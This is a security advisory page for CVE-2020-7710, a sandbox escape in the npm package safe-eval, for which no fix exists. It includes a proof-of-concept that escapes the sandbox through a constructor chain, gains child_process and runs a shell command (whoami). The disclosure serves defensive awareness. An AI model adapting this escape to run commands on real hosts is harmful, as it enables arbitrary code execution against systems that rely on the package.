Sandbox Escape Affecting safe-eval package, versions *
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Test your applications- Snyk ID SNYK-JS-SAFEEVAL-608076
- published 21 Aug 2020
- disclosed 28 Feb 2020
- credit Anirudh Anand
Introduced: 28 Feb 2020
CVE-2020-7710 Open this link in a new tabHow to fix?
There is no fixed version for safe-eval.
Overview
safe-eval is a Safer version of eval()
Affected versions of this package are vulnerable to Sandbox Escape. It is possible for an attacker to run an arbitrary command on the host machine.
POC by Anirudh Anand (for node 12.13.0)
const safeEval = require('safe-eval');
const theFunction = function() {
const bad = new Error();
bad.proto = null;
bad.stack = {
match(outer) {
throw outer.constructor.constructor("return process")().mainModule.require('child_process').execSync('whoami').toString();
}
};
return bad;
};
const untrusted = (${theFunction})();
console.log(safeEval(untrusted));